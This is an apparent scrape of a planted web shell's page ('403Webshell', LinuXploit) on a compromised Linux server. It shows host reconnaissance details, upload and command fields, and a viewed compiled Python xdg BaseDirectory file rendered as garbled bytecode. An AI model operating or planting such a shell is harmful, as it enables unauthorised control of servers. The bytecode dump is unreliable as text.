403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python2.6/site-packages/xdg/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python2.6/site-packages/xdg/BaseDirectory.pyo
Ñò

²ÊGc@sEdZddklZddkZeiiddƒZeiideiieddƒƒZ	e	geiid	d
ƒi
dƒZeiideiied
ƒƒZegeiiddƒi
dƒZ
eiideiiedƒƒZed„eƒZed„e
ƒZ
d„Zd„Zd„Zd„Zd„ZdS(s
This module is based on a rox module (LGPL):

http://cvs.sourceforge.net/viewcvs.py/rox/ROX-Lib2/python/rox/basedir.py?rev=1.9&view=log

The freedesktop.org Base Directory specification provides a way for
applications to locate shared data and configuration:

    http://standards.freedesktop.org/basedir-spec/

(based on version 0.6)

This module can be used to load and save from and to these directories.

Typical usage:

    from rox import basedir
    
    for dir in basedir.load_config_paths('mydomain.org', 'MyProg', 'Options'):
        print "Load settings from", dir

    dir = basedir.save_config_path('mydomain.org', 'MyProg')
    print >>file(os.path.join(dir, 'Options'), 'w'), "foo=2"

Note: see the rox.Options module for a higher-level API for managing options.
iÿÿÿÿ(t
generatorsNtHOMEt/t
XDG_DATA_HOMEs.localtsharet
XDG_DATA_DIRSs/usr/local/share:/usr/sharet:tXDG_CONFIG_HOMEs.configtXDG_CONFIG_DIRSs/etc/xdgtXDG_CACHE_HOMEs.cachecCs|S(((tx((s5/usr/lib/python2.6/site-packages/xdg/BaseDirectory.pyt<lambda>/scCs|S(((R
((s5/usr/lib/python2.6/site-packages/xdg/BaseDirectory.pyR0scGsRtii|Œ}tiit|ƒ}tii|ƒpti|dƒn|S(sãEnsure $XDG_CONFIG_HOME/<resource>/ exists, and return its path.
    'resource' should normally be the name of your application. Use this
    when SAVING configuration settings. Use the xdg_config_dirs variable
    for loading.iÀ(tostpathtjointxdg_config_hometisdirtmakedirs(tresourceR
((s5/usr/lib/python2.6/site-packages/xdg/BaseDirectory.pytsave_config_path2s
cGsOtii|Œ}tiit|ƒ}tii|ƒpti|ƒn|S(sãEnsure $XDG_DATA_HOME/<resource>/ exists, and return its path.
    'resource' is the name of some shared resource. Use this when updating
    a shared (between programs) database. Use the xdg_data_dirs variable
    for loading.(RR
Rt
xdg_data_homeRR(RR
((s5/usr/lib/python2.6/site-packages/xdg/BaseDirectory.pytsave_data_path>s
cgsXtii|Œ}x?tD]7}tii||ƒ}tii|ƒo	|VqqWdS(såReturns an iterator which gives each directory named 'resource' in the
    configuration search path. Information provided by earlier directories should
    take precedence over later ones (ie, the user's config dir comes first).N(RR
Rtxdg_config_dirstexists(Rt
config_dirR
((s5/usr/lib/python2.6/site-packages/xdg/BaseDirectory.pytload_config_pathsJscGsxt|ŒD]}|SWdS(sYReturns the first result from load_config_paths, or None if there is nothing
    to load.N(RtNone(RR
((s5/usr/lib/python2.6/site-packages/xdg/BaseDirectory.pytload_first_configSs
cgsXtii|Œ}x?tD]7}tii||ƒ}tii|ƒo	|VqqWdS(s»Returns an iterator which gives each directory named 'resource' in the
    shared data search path. Information provided by earlier directories should
    take precedence over later ones.N(RR
Rt
xdg_data_dirsR(Rtdata_dirR
((s5/usr/lib/python2.6/site-packages/xdg/BaseDirectory.pytload_data_pathsZs(t__doc__t
__future__RRtenvirontgett_homeR
RRtsplitRRRtxdg_cache_hometfilterRRRRR(((s5/usr/lib/python2.6/site-packages/xdg/BaseDirectory.pyt<module>s(					

Youez - 2016 - github.com/yon3zu
LinuXploit